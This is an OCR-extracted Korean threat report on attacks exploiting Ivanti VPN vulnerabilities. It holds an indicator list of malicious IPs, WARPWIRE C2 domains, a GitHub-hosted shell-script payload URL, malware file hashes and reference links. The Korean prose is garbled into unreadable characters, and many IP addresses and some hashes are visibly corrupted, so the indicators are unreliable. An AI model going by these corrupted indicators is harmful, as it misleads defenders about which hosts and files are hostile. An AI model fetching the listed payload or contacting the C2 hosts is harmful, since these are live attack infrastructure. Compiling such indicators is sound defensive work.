AAB(HY, HAUXINAZ(PS, IDS) S) Ofsh EIXIEIX 242 shsMo| QUCk ol w2, SH FR AHES
Msiol, o|NARIS OMES| Exf OIS US| 2AE Wt Art

Ofz1gt 1LkotEl APT S0 CHiM= AP 7|Hte| 2ot ME &= M(MDR/NDR)OIA EX| =ACH =S Stt

4.10. A|lAH” 270 chst 22| M

AA” 23 2| HMES HXNY| o|gge=z=mM, RE AAH =279 EE/HD 5 FI\X HEES AdHof St Of

Y

L
—
Soff 2t ol HIFgdHel 20 MEHE MESD SAHXS0| HTRS SHE HIIX $EE ASts 23 ANE

0
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6. XSIX|E(loC)

m |IPEH
No IP / URL =7t H|1
1 31.220.30.244 us Z2|tHA TEA|(FRPC) CHREE
2 103.214.22.59 AU 2|tHA IEA|(FRPC) CHREE, HIO|E &%
3 178173.225134 HK e F2
4 38.207136.223 us e H2
5 139180194132 AU CllOJE] &t
6 5.181132.95 MY 34Xt C2
7 1.65.216.83 HK Malicious IP
8 101.71.37.222 CN Malicious IP
9 103.119174.37 HK Malicious IP
10 103.189.234.200 SG Malicious IP
" 103.215.77.51 HK Malicious payloads exploiting
12 103.233.11.5 HK Malicious IP
13 103.233.11.5:1999/doc HK Malicious payloads exploiting
14 103.235.16.57 HK Malicious IP
15 104.223.9119 us Malicious IP
16 104.238130.6 us Malicious IP
17 106.52.12712 CN Malicious IP
18 111.253.200.166 TW Malicious IP
19 111.85.176.202 CN Malicious IP
20 111.90.143.184 MY Malicious IP
21 112.96.226.103 CN Malicious IP
22 113.128.81.59 CN Malicious IP
23 113.137148.49 CN Malicious IP
24 113.225152.7 CN Malicious IP
25 114.236.225.219 CN Malicious IP
26 116.204.211132 HK Malicious IP
27 118.16712.237 TW Malicious IP
28 118.74.246.133 CN Malicious IP
29 118.74.246.29 CN Malicious IP
30 118.74.90.191 CN Malicious IP
31 122.155.209.123 TH Malicious IP
32 124.156.132.142:6999/python HK Malicious payloads exploiting
33 137.175.19.209 us Malicious IP
34 137.220.130.2/doc SG Malicious payloads exploiting
35 138.68.61.82 us Malicious payloads exploiting
36 139.162.21.6 SG Malicious IP
37 139.227.33.78 CN Malicious IP
38 141.98.7.6 DE Malicious payloads exploiting
39 146.0.228.66 NL WARPWIRE variant C2 server
40 149.104.23171 us Malicious IP
41 159.203.33.199 us Malicious IP
42 159.65.130.146 us WARPWIRE variant C2 server
43 161.35.172.122 us Malicious IP
44 161.35.44.205 us Malicious IP
45 167114113160 CA Malicious IP
46 167.172.250.222 us Malicious IP
47 170.64.149.53 us Malicious IP
48 171.241.43.110 VN Malicious IP
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49 172.232.146.231 us Malicious IP

50 172.59.193.252 us Malicious IP

51 173.220.106.166 us Post-exploitation activity
52 173.53.43.7 us Malicious IP

53 174135110.233 us Malicious IP

54 17817169.245 MD Malicious IP

55 182.239.92.100 HK Malicious IP

56 183.128.182.227 CN Malicious IP

57 18513212511 HK Malicious IP

58 185152.67.168 us Malicious IP

59 185.156.72.51 UA Malicious IP

60 185.212.61.84 us Malicious IP

61 185.217125.210 DE Malicious IP

62 185.243.41.201 JP Malicious IP

63 185.244.208.65 HK Malicious IP

64 185.248185.93 HK Malicious IP

65 186.179.39.235 us Mass exploitation activity
66 192.252183.116 us Malicious payloads exploiting
67 194.233.93.67 EU Malicious IP

68 195.85.115.80 EU Malicious IP

69 20.0.28174 us Malicious IP

70 202.55.67.195 SG Malicious IP

71 203.160.86.236 HK Malicious IP

72 206.189.208.156 us Malicious IP

73 207.19.37.89 us Malicious IP

74 210.182.85.3 KR Malicious IP

75 212.71.232.212 UK Malicious IP

76 220.246.88.207 HK Malicious IP

77 22115158.245 CN Malicious IP

78 221.216.117171 CN Malicious IP

79 222180.198.54 CN Malicious IP

80 223104151181 CN Malicious IP

81 223.70179.234 CN Malicious IP

82 23.224195.27 us Malicious IP

83 27199.34.232 CN Malicious IP

84 38.47103.245 us Malicious IP

85 39.144158.6 CN Malicious IP

86 45130.22.219/ivanti VU Malicious payloads exploiting
87 45130.22.219/ivanti.js VU Malicious payloads exploiting
88 45133.238.41 UK Malicious IP

89 4514.244.52 NL Malicious IP

90 451475178 VU Malicious IP

91 45152.66.151 CN Malicious payloads exploiting
92 45.61136.14 us Post-exploitation activity
93 45.76.92.144 us Malicious IP

94 47.207.9.89 us Malicious IP

95 5.188.230.159 LU Malicious IP

96 5.188.34.119 SG Malicious IP

97 50.114.59.3 us Malicious IP

98 50114.59.5 us Malicious IP

99 50.213.208.89 us Malicious IP

100 50.215.39.49 us Post-exploitation activity
101 50.243.177161 us Malicious IP

102 51.255.62.12 UK Malicious IP
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103 51.255.62.4 UK Malicious IP

104 52.172.236.151 us Malicious IP

105 54.38.214.131 UK Malicious IP

106 64.176194.7 us Malicious IP

107 64.24179.210 us Malicious IP

108 71127149194 us Malicious IP

109 73128178.221 us Malicious IP

110 74.48.82.246 us Malicious IP

m 75145.224.109 us Malicious IP

112 75.145.243.85 us Malicious IP

13 8.137112.245 AU WARPWIRE variant C2 server
14 8.210.101.116 SG Malicious IP

115 8.220.24.104 SG Malicious IP

116 84.32131.51 us Malicious IP

17 84.32.248.20 LT Malicious IP

118 85.106.119.0 TR Malicious IP

119 88.151.32.164 NL Malicious IP

120 89.185.30.166 HK Malicious IP

121 91.203.134.122 EU Malicious IP

122 91.92.254.14 NL WARPWIRE variant C2 server
123 93.95.228.81 IS Malicious IP

124 94131.105.192 NL Malicious IP

125 95.164.22.41 MD Malicious IP

126 97106.38.138 us Malicious IP

127 98.160.48.170 us Malicious IP

128 api.d-n-s.name - WARPWIRE variant C2 server
129 areekaweb.com us WARPWIRE variant C2 server
130 clickcom.click IS WARPWIRE variant C2 server
131 clicko.click IS WARPWIRE variant C2 server
132 cpanel.netbar.org - WARPWIRE variant C2 server
133 duorhytm.fun us WARPWIRE variant C2 server
134 ehangmun.com KR WARPWIRE variant C2 server
135 entraide-internationale.fr DE WARPWIRE variant C2 server
136 gpoaccess.com GB Malicious URL

137 line-api.com MY WARPWIRE variant C2 server
138 miltonhouse.nl NL WARPWIRE variant C2 server
139 raw.githubusercontent.com/momika233/test/main/m.sh = Malicious payloads exploiting
140 secure-cama.com IS WARPWIRE variant C2 server
141 symantke.com GB WARPWIRE C2 server
142 webb-institute.com GB Malicious URL
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http://areekaweb.com/
http://cpanel.netbar.org/
http://ehangmun.com/
http://entraide-internationale.fr/
http://gpoaccess.com/
http://line-api.com/
http://miltonhouse.nl/
http://raw.githubusercontent.com/momika233/test/main/m.sh
http://secure-cama.com/
http://symantke.com/
http://webb-institute.com/

EISE IS T

No b Tl MD5 7Y

1 calender_ahmax_20110812150632.php 1C59D5834F6C57FD9CA31F7E83F3BEDE -

2 frpc 70451BFCA62C0604D1B3E9OB6FC92C7CO 2|HAFHUM

3 Cav-0.1-py3.6.egg 3045f5b3d355a9ab26ab6f44cc831a83 CHAINLINE &

5 compcheckresult.cgi 3d97f55a03ceb4f71671aa2ecf5b24e9 CHAINLINE &

6 lastauthserverused.js 2ec505088b942¢234f39a37188e80d7a LIGHTWIRE ##!

7 lastauthserverused.js 8eb042da6ba683ef1bae460af103cc44 WARPWIRE Xt# ZH

8 lastauthserverused.js a739bd4c2b9f3679f43579711448786f WARPWIRE Xt# &

9 lastauthserverused.js a81813f70151a022ea1065b7f4d6b5ab WARPWIRE X4 ZF

10 lastauthserverused.js d0c7a334a4d9dcd3c6335ae13bee59ea WARPWIRE X4 ZF

1 lastauthserverused.js e8489983d73ed30a4240a14b1f161254 WARPWIRE Xt# ZH

12 sessionserver.sh 677c1aabe2503b56fe13e1568a814754 =

13 visits.py 6de651357a15efd01db4e658249d4981 =

14 DSUserAgentCap.pm e4fe3a314a3aee5aee9c55787a33671c BUSHWALK &3t =3

15 querymanifest.cgi e48716521dc48425feae71bc9dc768cd BUSHWALK HZ

16 diskCounters 8c4b32e8ee9e0b2f8dab01364971ffff DSUserAgentCap.pm E2T
17 diskmonitor €33a3a90f1f8fa6d8f17bc61510027d6 DSUserAgentCap.pm =3t =7
18 diskAnalysis 6c58b8b1e3b36a5a124afd110c109ebe BUSHWALK HZ =%t

19 plugin.jar b76d7890a7a7ff6d0b1151a8251e318f PITFUEL SparkGateway Z2{12!
20 gateway.conf 9e0941c4851d414b5d25dd15872c3e47 PITFUEL SparkGateway A% m!
21 libchilkat.so fd83b3e9db57838b62c5baf8218ce5a8 LITTLEAMB.WOOLTEA H{=0{
22 libaprhelper.so 2ddeca6511506fe435dc1f63b4cf061c PITSOCK &4=0f

23 security.jar f64a799ff16aded3f4d6706ffbd7e6dd PITDOG SparkGateway =2{12l
24 gateway.conf fb973c8bbfdba234ea83ee20084dcac9 PITDOG SparkGateway A&t
25 mem.rd 5368b1122c10fa7850f44d3e16fc18fb PITHOOK H4&=0f

26 memorysCounter 31a591a28198f05e9ab4d12609a9ce81 Kubo Injector

27 dsAgent 5f561f217a8046de8cadf418ef4dfdal PITSTOP S04

28 category.py 465600cece80861497e8c1c86a07a23e FRAMESTING Webshell
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http://sessionserver.sh/
http://visits.py/
http://dsuseragentcap.pm/
http://libchilkat.so/
http://libaprhelper.so/

7. HX URL

1.lvanti VPN F2H (2.3 lvanti VPN $|2F& whaiglol AbM| £A)
https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis
https://attackerkb.com/topics/FGIK1TVnB2/cve-2024-21893/rapid7-analysis?referrer=search
https://blog.cloudflare.com/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-
zero-day-vulnerability-ko-kr

2. F4H 48 3 Al
https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-
secure-vulnerabilities
https://therecord.media/cisa-takes-two-systems-offline-following-ivanti-compromise
https://www.crn.com/news/security/2024/cisa-breached-via-ivanti-vpn-vulnerabilities-report?itc=refresh
https://www.cybersecuritydive.com/news/cisa-attacked-ivanti-cve-exploits/709893/
https://www.bleepingcomputer.com/news/security/cisa-cautions-against-using-hacked-ivanti-vpn-
gateways-even-after-factory-resets/

https://therecord.media/mitre-breached-ivanti-zero-days
https://thehackernews.com/2024/04/mitre-corporation-breached-by-nation.html
https://www.threatdown.com/blog/mitre-breached-through-ivanti-connect-secure-vulnerabilities/
https://www.bleepingcomputer.com/news/security/mitre-says-state-hackers-breached-its-network-via-
ivanti-zero-days/

3. Hs{iX|HE IoC

https://www.cisa.gov
https://www.orangecyberdefense.com
https://unit42.paloaltonetworks.com
https://www.mandiant.com
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